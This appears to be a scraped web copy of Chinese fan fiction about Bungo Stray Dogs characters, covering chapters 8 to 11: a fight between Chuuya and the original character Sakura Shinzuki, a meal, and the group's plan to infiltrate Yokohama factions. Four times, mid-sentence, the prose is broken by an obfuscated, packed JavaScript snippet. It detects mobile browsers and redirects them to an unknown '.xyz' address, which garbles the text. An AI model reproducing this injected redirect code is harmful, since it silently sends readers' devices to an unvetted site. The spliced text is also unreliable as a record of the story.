没办法，希望中原中也能够明白，这里面没有公道，全是个人情绪，毕竟他看起来也不像是会讲道理的人，他甚至都不愿意听一句辩解，就再一次出手了。 握刀的标准起手式，折射的光在黑暗里一闪而过，动作快到离谱，简直不像是这个年纪能使用的招式……心头突兀一跳，超直感原地蹦极，中原中也只来得及抬手格挡，就再一次被刀锋扫出去。 用于隔档的手臂被划破，血液飞溅出来，剧烈的疼痛感袭来。 钴蓝色瞳孔骤然缩紧，单从武力值上讲，流浪儿出身的他也没有经历系统的训练，未来的他之所以会成为闻名于世的重力使，是因为他在无数多的战斗里积累许多宝贵的经验，但是，现在的他只有十二岁，才成为羊之王不久，他战斗的经验还远没有丰富到无所不敌的地步。 而且，退一步讲，他根本不认识樱真月，不明白樱真月的怒火和挥之不去的浓烈杀意从哪里来，明明是他应该生气吧，是他被人算计了，是他家都被端了，是他的同伴不知死活，结果他刚要质问太宰，这个不知道从哪里出来的混蛋一下给他创出十多米远。 差点给他创迷糊了。 虽然不知道为什么，从第一面开始，他确实觉得太宰讨人厌，但是，中原中也认为，他并没有下死手，撇开他第一脚到底打中没有不说，作为一个强大的异能者，如果他下死手，那边的太宰不可能还能站起来——我靠，钴蓝的眼眸瞪大，他真的站起来了！ 中原中也：“……” 中原中也：“哈？？？” 不是，他真的真的站起来了，还没事人一样拍了拍裤腿。 不及细想，鲜红的血滴从胁差的刀身滴落，下一刀又到了。中原中也抬手去挡，脑海里重新浮现出的是，在不久之前，那个他重重踢出去的一脚后，反馈上来的一个软绵绵的，像是打进棉花里的触感。 “呵……”中原中也简直要气笑了。 然后他笑出了声，黑红的异能一瞬间亮起，伴随着重力的因子在空中暴涨，他像流弹一样朝着樱真月冲出去。 两个人的动作都很快，快到身形都没办法捕捉，刀锋在黑暗里撞出火花，只是眨眼间，就过了几十招。 混乱的战场被彻底清空，抢夺武器的非法势力得到想到的东西后，又快速的撤退，樱真月有所察觉，分心的瞬间，中原中也后撤几步，卸掉惯性后再次发起冲锋，他没有携带武器，伴随在他身侧的重力因子为他开路。 接连几颗重力因子严严实实的封禁樱真月的退路，目睹这一切的太宰猝然皱眉，但就算战局拉长，樱真月的反应依旧很快，平常人难以企及的敏捷从年幼的身躯爆发出来，仅仅是两个侧身就避开两颗重力因子。 被压缩的重力在地表炸开，将扬起的尘土都湮灭。 然后，第三颗照面袭来。 和瞄准喉咙的扎刀一样，他没手下留情，对面的中原中也显然也没手下留情。 不过这一次，樱真月没准备躲，不是不能躲，对他来说，年仅十二岁的中原中也对异能的操纵称得上蹩脚，他有一百种方法可以躲开这次攻击，但他背后是太宰，虽然这种重力因子会在碰到太宰的刹那被异能‘人间失格’无效化，但他不允许这颗重力因子越过他攻击太宰。 他侧过头看向太宰。 太宰也看着他。 另一边是盛怒的，紧随重力因子攻来的中原中也。 “呵……” 像是得到许可，一声微不可闻的笑，不躲不闪的樱真月甚至朝前踏了一步。 足底落下，以樱真月为中心，灼眼的璀璨辉光自落点漾开，紧接着，空间翻转，风景割裂，一个奇异的空间被割裂出来，与此同时，一条规则铭刻其上，变成整个空间里绝对的，不容许违背的存在。 中原中也震惊了，因为他发现，他用不了异能了。 于刹那之间，他终于明白了，这是对方的异能。 对方的异能是在他划定的空间里，制定所有人都必须要遵守他的规则！ 该死！ 这家伙在这个空间铭刻的第一条规则是—— “没错。”提着刀，不退反进的樱真月笑着，掩藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299570|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在张扬眉眼里的戾气露出冰山一角，“这里，「异能禁止」。” 重力因子刹那间变成泡沫，惯性驱使，在空中对撞的中原中也猝不及防，再一次被创出十多米。 疼痛弥漫，血沫从口腔里呛咳出来，失去了异能，他跟普通的十二岁孩子没有区别，已经没有办法做出闪躲的动作了。 半空中，握着胁差的樱真月如玉虹贯日般落下来，就在落地之前，在刀锋捅穿心脏的前一瞬，割裂的空间乍然碎裂。 是‘人间失格’。 “差不多了，”破除异能限制的太宰迈开步伐，“该回家吃饭了。” 在他的身后，樱真月轻巧落地，藏在眉眼里的戾气顷刻冰消雪融，同一时间，握刀的手往上一偏，直指心脏的胁差擦着脖颈扎进身下的土地。 钴蓝的眼眸一瞬间睁大，连呼吸都停了。 “来啦~”锋刃重新入鞘，樱真月几步追上太宰，“呐呐呐，阿治，你刚刚看到了嘛，我从半空落下来的那一幕，是不是超——帅气的！我觉得这是我半年来打的最好的一架了，哦，对了，约好的哦，一起吃晚饭……” 粉色的马尾在半空飞扬，刚刚还像个修罗一样的少年，此刻围着太宰转了一圈，最后跳脱的开始倒着走路，那一身愿意被驯服的戾气藏进躯壳里，藏得不怎么彻底，剩下一星半点，让他朝着到底的中原中也眨了眨眼，做了个口型。 太宰像是没注意到他的小动作，认真思索几秒，握拳击掌：“蟹肉料理。” 但捂着伤口坐起来的中原中也注意到了，那混蛋说的是：哦呀~被吓到了呢。 哈？！ 被吓到？ 谁被吓到了，中原中也咬牙切齿的想，刚刚只是太突然，他没能反应过来，不是被吓到，而且，既然是「异能禁止」，那他不能用异能，对方肯定也不能用，这样的话，下一次他一定…… 踩着夜色，两人并肩往前，一点点走远。 “昨天已经吃过蟹肉料理了，一直吃的话对胃不好……”樱真月有底线，但不太多，“好嘛，如果你一定要吃的话，我会负责说服费奥多尔吃蟹肉料理，作为交换，今天一起洗澡吧！” 太宰想也不想：“不要。” 被拒绝的樱真月呼吸一滞：“那一起睡觉？” 太宰：“不要。” 被拒绝的樱真月快碎了：“但是但是，好朋友就是要一起吃饭，一起洗澡，一起睡觉的！” 除了一起吃饭之外，剩下的太宰都不愿意跟他一起。 “……”太宰目露嫌弃，“你是小学生吗？” 樱真月彻底蔫了，他吐着魂走到街道尽头，尽头台阶上的乱步、费奥多尔和果戈里跳下来，五个人一起往前走。 “肚子饿了。” “今天吃什么？” “蟹肉料理。” “欸，这样的话，岂不是过两天又得卖一次费奥多尔？” “……？” 9. 009（小修） 【第九章：死亡也无法分开的——】 最后，他们吃的确实是蟹肉料理。 原因无他，付钱的人最大。 家庭餐厅的专属包厢里，因为经常来，经常点，老板甚至在厨房里常备新鲜活蟹。蟹肉料理很快端上来，除此之外，还有一份属于乱步的草莓蛋糕，一份属于果戈里的俄罗斯油煎包，和一份属于费奥多尔的苹果派。 樱真月没有特别喜欢的食物，他什么都吃，太宰也不是挑食的人，他只吃他喜欢吃的那部分，但光吃蟹肉是吃不饱的，所以一边吃，樱真月就一边不动声色的投喂没动过的蟹黄蒸蛋、蟹腿刺身等等，因为投喂到了心坎里，太宰完全没办法拒绝。 一顿饭下来，每个人都很开心，樱真月心满意足的付了钱。 离开家庭餐厅，时间已经很晚了，五人沿着小道走出巷子。 夜色笼罩，远远的还能听到河岸对面传来的枪声，偶尔几个飞车党路过，一切都横滨人眼中最平常的样子，就仿佛两个小时前那场在擂钵街爆发的混乱，以及混乱即将引发的诸多问题都不存在那样。 不过也是，普通人根本不知道发生了什么，就算明天世界就爆炸，他们也幸运的一无所知，至于异能特务科、港口黑手党这些稍大一些的组织，还有诸如藏在黑医馆里的医生，曾经是政方特工、辞职后开了武装保镖社的社长等等能人异士们会有什么反应……再说吧，五人朝着书店的方向往回走。 吃完饭了，该休息了。 如果他们睡个觉的时间，世界就毁灭了的话……那就证明世界确实该毁灭了。 懒散的穿过红绿灯，五人一前一后的走进书店。 因为位置有些偏，以至于都没人发现书店一整天都没营业，樱真月对此表示痛心，他可是真的有好好打算经营书店的，虽然经营书店的初衷是因为太宰。 从有记忆开始，他就是横滨众多流浪儿中的一个，‘书’是他唯一的财产——一个没有庇护的流浪儿带着一本书，怎么看都很奇怪，但‘书’确实是他的。他做过实验，无论是把书丢进海里顺着洋流飘几天，还是将书塞进黑手党火并的现场，最后，书都会回到他的床头柜上。 甚至，‘书’还教会了他流浪儿的横滨生存法则、人类存活的一百个常识等等，就连他现有的体术，就是通过书，融合百家之长学来的。 话又说回来，作为流浪儿，他居然看懂了书，很神奇吧。 他觉醒异能的时间不算早，一般异能者五六岁觉醒，他流浪了一年多，快到八岁才堪堪弄明白自己的异能该怎么最大效益的使用。 弄明白异能的第一件事，就是磨刀霍霍要去给鹤见川改个道，他计划得很好，却不料半途给自己过个生日的间隙里钓到了太宰，于是，作恶未半中道崩阻，从此洗心革面，重新做人，励志热爱世界。 但他洗心革面了，太宰没有。 太宰依旧坚定不移地拒绝和他一起洗澡，一起睡觉，一起做世界最好的挚友，他为此十分苦恼，想过很多很多的办法，比如刻苦钻研，终于学会了怎么给他做好看的衣服；比如刻苦钻研，终于向他推荐了几个同类的玩伴……最后发现，都没用，太宰看书的时间都比看他的时间多。 备受打击，痛定思痛，樱真月一合计，决定开个绝无仅有的书店，毕竟知识能改变命运。 …… ………… 知识确实改变了命运。 太宰虽然还是不跟他一起洗澡睡觉做世界最好的挚友，但知道时不时要回家吃饭了，虽然一天中的大部分时间都在横滨流窜。 这怎么不算一种进步呢？为了这一点，哪怕书店三个月都卖不出一本书，只能靠卖费奥多尔为生，他也一定会坚定不移的支撑下去的！ 怜惜的扫过书店每一个角落，确定没有不明人士非法入侵之后，五人各自窝回自己最喜欢的位置，乱步和果戈里坐在阅读区的角落，一个吃着粗点心，一个用异能‘外套’一包包的往外运粗点心，费奥多尔则是在离他们不远的书柜之间，正挑选想看的书籍。 樱真月郑重的挂在门把手的‘Close’翻过来，变成‘Open’，回到收银柜前，太宰正无聊的趴在桌子上，手里是一把崭新的，从‘羊’那里收缴来的自动步枪。 “啊，对了，黑衣人的状态怎么样？” “还不错呢，”又掏出一包粗点心的果戈里声音依旧浮夸，“对方被我们抓到的时候一点反抗都没有，但之后却一直尝试用各种办法自杀，连绳子都绑不住，只能用异能将他的四肢和躯体分开，放进房间不同的角落。” 为了防止他呼唤同伴，果戈里连他的舌头也分开了。 “这种强烈的自杀意愿，已经完全违背人类本能了吧。”乱步平静的声音里，带上一点黑色的嫌弃。 果戈里思索：“那种状态，还能被称为人类吗？” “不知道。”乱步放弃思考这种无聊的问题，并且又吃了一块粗点心，“没人会在乎。” 在吃了一顿蟹肉料理和一份草莓蛋糕后，居然又啃了两包粗点心……樱真月由衷的露出敬佩但不赞同的眼神：“乱步桑，再吃下去的话，我会让果戈里直接把你胃里的食物残渣掏出来的哦。” 乱步：“……” 果戈里：“……” 乱步：“……好恶心。” 果戈里：“……异能是这么用的吗？” 樱真月微笑。 费奥多尔一边翻书一边补刀：“嘛，小真月不是一直这么恶心的吗？特别是对太宰君露出温柔笑意的时候。” 樱真月拔刀：“杀了你哦！” 居然敢说他对阿治露出的温馨治愈的微笑恶心！ 太宰举起手：“赞成！确实很恶心。” 樱真月：“？？” 樱真月震惊：“阿治！” 果然，又是想把费奥多尔卖掉一天。 难得的休息时间，没人想浪费在无聊的俘虏身上，于是，不到十分钟，各自在书柜上挑了几本睡前故事后，众人宣布解散。 仅仅开了十分钟的店，‘Open’再次变成‘Close’，管他呢，反正今天开过店了，樱真月愉快的上楼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299571|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楼上客厅没有人，只有浴室传出流水声——虽然一直很想和太宰成为世界第一挚友，但他其实也不是一直那么变态的，做不到拉开浴室门闯进去。 如果他敢闯进去，明天横滨一定出现‘杀死樱真月的一百种方法’这种可怕的东西。 惋惜的叹气，樱真月先铺好床，又走进厨房，等热了一杯温牛奶出来，太宰已经坐在榻榻米上，正在翻看书上今日新增的内容。 ‘人间失格’的作用下，映现世界的‘书’异常安静。 “还能感受到世界的躁动吗？”太宰忽然问。 与‘书’绑定的樱真月仰着头，仔细感受了一下，脑海里细细密密的疼痛感消失了，“不能了。” 太宰点了点头，再次沉默下来。 和别的世界的太宰不同，他的太宰总是更沉默，像身处悬崖之上，无时无刻不在思考着，带着氤氲水汽顺着发丝垂落，在灯下，露出的鸢眸积攒着让人看不懂的阴郁。 “会感冒的。” 太宰抬起头，像猫一样看了他一眼。 知道对方没有动手的想法，樱真月把牛奶塞进他手里，又拿出吹风机。太宰很嫌弃牛奶，但没有拒绝，很嫌弃吹头发，但也没有拒绝。 等到发丝间的最后一点水汽消失不见，书阖上，温牛奶也喝完了。 已经到了睡觉时间，快速洗完澡的樱真月关了灯。 室内暗下来，狭窄的榻榻米室，靠近的床铺能轻易捕捉到彼此的呼吸声。 “睡不着吗？” 太宰还是没说话。 过了好久，久到樱真月都差点睡着时，太宰忽然开口： “樱真月。” “嗯？” “在‘书’记录的所有世界里，只有我们的世界存在‘樱真月’，这件事你还记得吗？” 粉色的眼眸再次睁开，樱真月诧异的侧过头，长发铺在枕头上。 “记得哦。” 四目相对。 夜色的掩盖下，阴郁的鸢眸不加收敛，不料，下一秒，隔壁床铺刷地拉近，抱着枕头的樱真月直接拱进他的被子里，温暖的皮肤互相传递感知。 “看，确认过很多遍了，‘人间失格’没有生效，”樱真月弯着眼睛笑起来，“所以不用担心，我不会突然消失。嘛，虽然我也不知道自己的来历，但退一步讲，就算世界被覆盖，也不意味着我会消失，不然，那个黑漆漆的小矮子再踢你的话，我会气到牛顿都压不住棺材板的——等等，不对，如果世界被覆盖，我消失了，阿治也会变成另一个阿治，从这个角度讲，我们这是殉情，是死亡也没办法分开的世界上最好的挚友！！” 太宰：“……” 樱真月：“……” 太宰：“…………” 樱真月：“你为什么不说话？” 凝滞的鸢眸滚动了一下，积攒的黑泥像是被拖进太阳底下暴晒过，欲言又止的太宰漠然的和他对视，好一会儿，开口。 “黏糊糊的，好恶心，你能从我的床里爬出去吗？” 樱真月：“…………” 10.010 【第十章：将绝望的世界推向明天】 一场夜雨洗涤后，耀眼的阳光再次穿过窗帘缝隙，将每一粒浮游尘埃点亮。 大刺刺躺在两个床铺中间的樱真月迷蒙的睁开眼睛，歪七扭八的被子斜斜的盖在腰上，原本应该躺在他旁边的太宰，只剩下一个冰冷的痕迹。 意识缓慢回笼，房间很安静，只有他一个人的呼吸声，太宰不知道什么时候已经起床开溜了。樱真月对此接受良好，因为作为与‘书’绑定的人，‘书’的任何异动都会以最醒目的方式传递给他，通常表现为在他脑袋里嗡嗡作响，响得多了就变成细细密密的疼痛，早几年，在他异能觉醒完成之后，他选择去炸鹤见川不是没原因的。 疼痛带来的副作用很明显，第一个就是睡不好，睡不好就影响发育，他起初就认为他不如太宰聪明就是被书耽误了，后来发现，不行，他家太宰是真的聪明。 当然，疼痛也不是一直在，‘书’毕竟是异能的产物，异能受‘人间失格’的克制，所以无论太宰是碰到他还是碰到‘书’，都能短暂的切断他与‘书’的链接——因为这一点，在他捡到太宰的第一年，太宰都在怀疑他别有用心，一度导致挚友情推进困难。 最后，还是他把‘书’压到桌腿下压了一年，又坚定不移的一个人洗澡睡觉，才堪堪让太宰相信，他不是为了睡个好觉才把他捡回家的。 重新回想起年少的艰苦岁月，樱真月打了个哈欠，又翻了个身，因为昨晚钻进太宰的床强行推进挚友情，他睡了一个好觉，醒来时意识迷蒙不清，导致他现在才意识到，脑海里……并没有熟悉的疼痛感。 是人间失格的作用。 但太宰没有在他身边。 也就是说太宰带着书。 但已知，五人会默契的将书留在书店里，也就是说—— 太宰还在家里！在一楼的书店！ 樱真月咯噔一下坐起来，雷厉风行的将两张床铺塞进壁橱里，又换衣服刷牙洗脸，五分钟后，他推开书店的内门。 “太慢了，小真月。” 是乱步。 书店不大，一眼就能看尽，抱怨的乱步依旧坐在他钟爱的位置上，果戈里在他对面，又开始一包接一包的掏粗点心，费奥多尔两耳不闻窗外事的翻着书，而太宰就坐在收银柜里，百无聊赖的转着手里的‘书’。 那本因世界线变动而嗡鸣不止的‘书’，此刻如鹌鹑一样静静缩在太宰手里。 “早上好。” 樱真月打了声招呼，几步走到柜台前，探身往里摸，果不其然摸到了一份早饭——其实一开始的时候，太宰、乱步和果戈里，包括费奥多尔都没有吃早餐的习惯，毕竟他们热衷于搞事，昼夜颠倒是日常，饭是想起来才吃，通常一整天都不吃。 吃饭不规律，营养跟不上，就容易虚弱，胃病，这大概是聪明人的通病。 但樱真月不一样，作为一个年仅十二岁的少年，他坚信多吃饭能长高，多睡觉能变聪明，所以无论什么时候起床，起床后一定要吃早饭，为了能稳定吃早饭，他甚至强制制定出早饭采购轮值表，要求每人每天按顺序采购大家的早餐，采购什么随意，但是一定要采购。 一开始，昼夜颠倒的众人反抗激烈，可惜没用，因为三餐稳定的樱真月会暴力镇压，演变到最后，试图反抗的另外四人就算夜不归宿，就算在枪林弹雨里狂奔，也会记得掏出手机点个早餐宅急便。 昨天的早饭是樱真月采购的，今天轮到了太宰。 早饭是对街便利店里的饭团，是很常见的梅子口味——那家店只卖梅子口味！ 看到樱真月三两口吃完早饭，太宰将‘书’放倒在柜台上，脱离了‘人间失格’的触碰，‘书’颤动了一下，再次散发出荧荧微光。 距离书上出现提示堪堪过去四十八小时。 这四十八小时里，他们先是通过混乱的局势，迅速锁定‘入侵者’的存在，在确认入侵者或许是脆弱的世界得以存续的关键后，又迅速将计就计，用入侵者希望出现的混乱作为诱饵，试图捕抓入侵者，可惜，对方足够狡猾，他们没能抓到祸首，只抓到了一个小喽啰。 如今，那个小喽啰正被果戈里关在屋后的地下室里，等待他们抽空审讯。 审讯的事情樱真月不擅长，不过那也用不到他来管。 “一如预料到的那样，”太宰开口，“‘书’的世界线发生变动。” 仿佛为了验证他的话，泛着微光的‘书’无风自动的翻到扉页。因为入侵者的到来，被遗忘的世界有了一点不同于其他世界的变化，这一点变化化成能量，夯实了世界的地基，虽然还远远到不了改变世界的程度，但至少证明他们的方向是正确的。 入侵者是危险，但也带来了其他世界绝对没有的‘选择’，能保证脚下的世界绝对不被吞噬覆盖的‘选择’。 不过，道路还很漫长，未来变化莫测，他们都不知道能影响世界的抉择什么时候到来，也不知道每个抉择背后会引发什么后果，那些后果里，或许一不小心就会再次演变成书页记录里的某一种。 更要命的是，时间往前，他们做出的每一个选择都没有后悔的余地。 这是他们今天会不约而同的出现在这里的原因。 绝望的世界在他们身上各自烙下什么痕迹暂且不提，什么都不做，安静的等待命运降临不是他们的性格，就像在意识到入侵者亦是机遇之后，每个人都迅速的抓住机会——不管心里怎么想，此刻，他们不约而同的做出相同的选择：将绝望的世界推向明天。 “这样的话，”费奥多尔阖上手里的书籍，“接下来的事情就好办了。” “羊的成员作为‘主角’，现在正分别被关押在各个非法武装的审讯室里，”乱步补充，“按照他们的生存方针，羊之王中原中也必将展开报复。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301647|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果戈里一弹指，兴高采烈的接过话：“另一方面，野口走私集团并没有回收遗失的武器，没能按时按量提交订单，凶狠暴戾的港口黑手党必然会倾巢而动，还有逃走的入侵者首领……说起来，我们还完全不知道入侵世界的家伙有多少人呢~” 除此之外，还有唯一的异能管理机构异能特务科、唯一的合法武装势力武装保镖社，还有军部的猎犬…… 整个横滨风谲云诡，每个组织都有自己的目的和需求，不同的目的和需求必然会造成不同的行动轨迹——这是最糟糕的事情，因为在其他的世界里，同样的组织会抱有同样的目的和需求。 作为俯瞰世界的人，他们可以轻易推断出每个组织的行动，但他们需要做的事情是给世界一个未来，要怎么样才能用最简单的办法，让每个组织走上他们希望的道路呢？ “看起来是很麻烦的工作啊。”樱真月欷歔。 “确实很麻烦。”一直没说话的太宰耸耸肩，一夜过去，不知为何那双淤积黑泥的鸢眸带上了一点光彩，淡淡的，不明显，却让他有了一点符合年纪的，孩子般的神情。 他说出口的是嫌弃，嫌弃麻烦，而不是嫌弃办不到。 实际上，办法已经出现在每个人心里了。 就像不能杀死中原中也一样，他们也不能暴力清除那些能影响世界的组织，不能清除，又要让他们走上对世界有利的道路，那就只剩一个办法：引导。 引导就是非常麻烦的工作。 引导分很多种，比如像之前一样，制造事端，以利益进行驱策，但是这种远距离操控的行为带着风险，还容易被对手预判。 “那就只剩一个办法了。” “是哦，为了防止失败，最好的办法就是加入他们，近距离操纵。正好，无论是入侵者还是其他非法势力，没人知道我们是一伙的。” “但是横滨非法武装多如牛毛，而我们只有五个人。” “果然最要紧的事情是先弄清楚‘入侵者’到底有几人吧。” “港口黑手党作为横滨黑暗里最大的非法武装势力，入侵者们绝对不会放过它的。” “但是，‘羊’的复仇已经被选为引线，没有中原中也就没办法继续往前推进了。” “所以……” 五个人对视一眼，互相在彼此眼中看到了浓浓的，不想工作的抗拒。 “没办法了，”樱真月提议，“大家都不想干活，那就只能抽签。入侵者需要潜伏，港口黑手党需要钉子，‘羊’需要同伴，那就先安排三张签吧。” 他一边说，一边从收银柜里拿出五根一模一样的棍子，在其中三个分别写上123，然后打乱，举到其余四人面前。 与此同时，柔和的风穿过城市高空。 早晨的喧闹过去，荷枪实弹的黑手党分布在街头，擂钵街的废墟上，年幼的羊之王正一步一步向着复仇走去…… 11.011 【第十一章：哈——？你不认路？！】 ‘羊之王’——中原中也。 这个名字自他异能觉醒以来，就伴随着他在擂钵街的上空回荡，人们报之以恐惧，愿意遵守他的规则，那是因为在混乱黑暗的地方，暴力会代替秩序，成为人们仰望的一部分。 某些时候，暴力和秩序是可以画等号的。 这是这几年时间里，失去记忆的他学到的为数不多的真理。 因为他掌控着暴力，弱小的，在他无法独自生存时收留他的‘羊’得到庇护，一跃成为横滨有名的组织，掠夺、斗争和人贩子们都不敢再轻易伤害‘羊’的成员，让他们这样年幼的，拿着破旧武器的孩子，都能和港口黑手党相提并论。 那段蜷缩在阴暗的角落里彼此取暖，恐惧着随时会到来的伤害，迫切的期待黎明，又在黎明到来时忧虑该从哪里找到一块饱腹的面包的日子渐渐远去，长久的平稳让白濑他们开始膨胀。 他们开始思考掠夺，开始肆意侵占，如同每个生存在黑暗里的人们一样，他隐约觉得不应该，他说不出像样的理论，只是仅仅依靠一个人的强大而存在的组织，不应该继续走在黑暗的道路上，他们没有能力走在这样的道路上。 可是，他们什么都没有，什么都不会，他们能做什么呢？ 组织的未来——这是组织的首领应该思考的事情。 他还没有想不明白，所以，他并不觉得自己能被称为‘王’。[5] 他还没有成为王的能力，他只是掌控着暴力，握着名为‘强大’的底牌，履行着守护组织的责任，他以为有他的庇护，组织会有很多的时间去思考未来，但是，灾厄来得猝不及防。 一个黑衣人。 一批新武器。 还有一个提着刀的樱真月。 ‘羊’的基地就在他的面前，一点点变成废墟。 战争过后，他在废墟里寻找了很久，找到两个身受重伤的同伴，他花了很长时间背着同伴寻找能治疗他们的地方，被拒绝很多次后，最终，一个开着黑医馆的落拓男人，看了他一眼后，同意免费帮他治疗。 免费的就是最贵的，他知道对方饱含深意，但他的同伴快要死了，他已经没有别的选择了。 一直到天亮，太阳驱散阴霾，同伴们脱离危险，他才离开黑医馆。 擂钵街被摧毁近半，断壁残垣底下，已经汇聚了许多流浪汉和孤儿了，他看了一眼，大步的朝外走去，事到如今，他已经明白，‘羊’被利用了，有一个谁为了某一个利益，利用人贩子和野口走私集团，还有那些为了武器赶来的非法武装势力，摧毁了他的组织，还抓走了白濑他们，而他现在要做的，就是履行守护的职责。 ‘人不犯我我不犯人’，任何伤害羊的人，都必将遭受他的雷霆报复。 首先，是野口走私集团。 野口走私集团在昨夜的混战里也遭遇了重创，首领野口山一郎更是直接死在斗争里，只剩下几个残兵败将彼此抢夺组织的剩余财产。 不费吹灰之力将他们制服，中也大声质问，他原本只是想质问自己的同伴在哪里，但惊恐的残兵倒豆子一样什么都说了，包括野口山一郎被黑衣人选中，成功走私武器的全部过程——听到黑衣人的描述，脑海里闪现出那个悄无声息死去的黑衣人，中也敏锐的意识到，黑衣人有很多，他们是一个组织。 除此之外，野口走私集团的残兵们并不知道他的同伴的消息。 踩着废墟走出野口走私集团的基地，耀眼的阳光让习惯黑暗的他不住眯起眼睛，再睁开，脚步忽然停下。 前方，在一片明亮里，一个抱着帽子，披着黑色风衣的侦探少年突兀的出现在他眼中。 “好慢啊。”他抱怨起来，“处理一个野口走私集团也需要这么长的时间，真是无能。” 中也：“……” “哈？你在说什么小子？”额角蹦出一个井字，中也恶狠狠地捏起拳头，“你也是野口走私集团的一员吗？” “我怎么可能跟他们是一伙的……嘛，”辩解的乱步一下失去了兴趣，他嘟囔了一声，“谁让抽到这种下下签的是我，走吧，你不是想要寻找你的伙伴吗？去晚了的话，还会不会呼吸就不确定了。” 海风吹来，坐在台阶上的乱步一下跳到平地上，黑色的披风扬起，抱在怀里的侦探帽扣到头上，遮挡的阴影覆盖下，不知道什么时候睁开的翠绿眼睛黯淡无光。 * 同一时间。 港口黑手党。 因为暴戾凶狠的组织，此刻，人人正风声鹤唳草木皆兵。 组织之上，掌控一切的老首领正因为没有拿到的走私武器大发雷霆，他坐在病床上，瘦削的脸应暴怒而狰狞，作为横滨最庞大的凶狠怪兽，对他来说，损耗的定金，失去的武器都不至于让他生气，让他生气的是，港口黑手党的威严受到损害。 “大佐君，”暗室里烛火闪烁，老首领厉声道，“胆敢违抗港口黑手党的人，都应该在地狱里为自己的行为忏悔。” 此时的他还没有病入膏肓，但年迈带来的病痛令他恐惧，他不怕死亡，但害怕衰弱，恐惧令他丧失理智，只能用更暴虐的行径让他人畏惧自己，就像不久之前，一个红发少年在他的车上乱涂乱画，他就下令杀死街上所有的红发少年一样。 人人都必须畏惧他，只有畏惧才能让他忘记衰老和死亡带来的恐惧，只有畏惧才能让他更牢的抓住自己一手建立的暴力组织…… 病床边，由老首领一手提拔的干部大佐单膝跪地，被阴影覆盖的面容让人看不清他在想什么，但他确实诚敬恭谨的低头应答： “是，首领。” 厚重的木门再次打开。 脚步声响起，阳光穿过彩色玻璃，落在脚下，反射的光辉照亮四周，穿着绅士的白发中年人——干部大佐乘着电梯往下，一楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307667|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是港口黑手党的大厅，巡逻的成员依次经过，路过他身边，还停下敬礼。 作为首领的亲信，按照绝对服从首领命令的黑手党原则，此刻他应该立刻点齐人手，去将那些让港口黑手党颜面扫地的组织清理干净，事实上，他也确实打算这么做，只是脚步才抬起，远远看到情报部门的主理人领着一队新人走来——在黑暗的里世界，人手是消耗品，港口黑手党尤甚。 因为近两年首领的疯狂扩张，他们港口黑手党比以往任何时候都更缺人手。 忙碌的情报部门主理人是港口黑手党的老人，一头花白的头发，老到连眼神都浑浊了，他肃穆的停在两三米外，弯腰鞠躬。大佐的目光扫过他，又看向他身后神态各异的情报新人，忽然，一个身影进入眼底，那是一个很怕冷的少年，十四五岁的年纪，带着外国人血统的五官，头发凌乱，甚至有些驼背，羸弱的身体裹着厚重的防寒披风…… 对方注意到他的视线，抬起头，露出带着一点腼腆的微笑： “干部先生，下午好，我是加入组织的新人，费奥多尔·D。” 果然，是个外国人。 除此之外，横滨的一天和以往也没什么不同。 同一时间，高耸的桥塔上，海风呼啸着扬起粉色的马尾，无所事事的樱真月啃着手里的梅子饭团，因为抽中了空白签，现在的他十分空闲，不过也没办法，概率就是豪赌，有下下签就会有上上签。 愿赌服输的乱步和费奥多尔已经分别加入‘羊’和港口黑手党，去为他们即将要做的事情做准备，而他会出现在这里，是因为在‘书’传回的最后感知里，这是‘入侵者’最后出现的地方。 尽管目前的他们对‘入侵者’一无所知，但是这里是本岛连接擂钵街区域必经的桥塔，除了骇塞之外，唯一能清楚俯瞰昨夜擂钵街混乱的地方。 “没能抓到他们确实很可惜，”樱真月吞下退后一口饭团，重新站起来，年幼的身躯在激荡的风流里摇摆，远远看去，像是一不小心就能直接坠入海里一样，“按照现在的情况看，他们或许要蛰伏一段时间，静静的等待下一场风暴来临。” 至于下一场风暴什么时候来，怎么来，全看乱步了。 彼时，横滨荒凉的郊外。 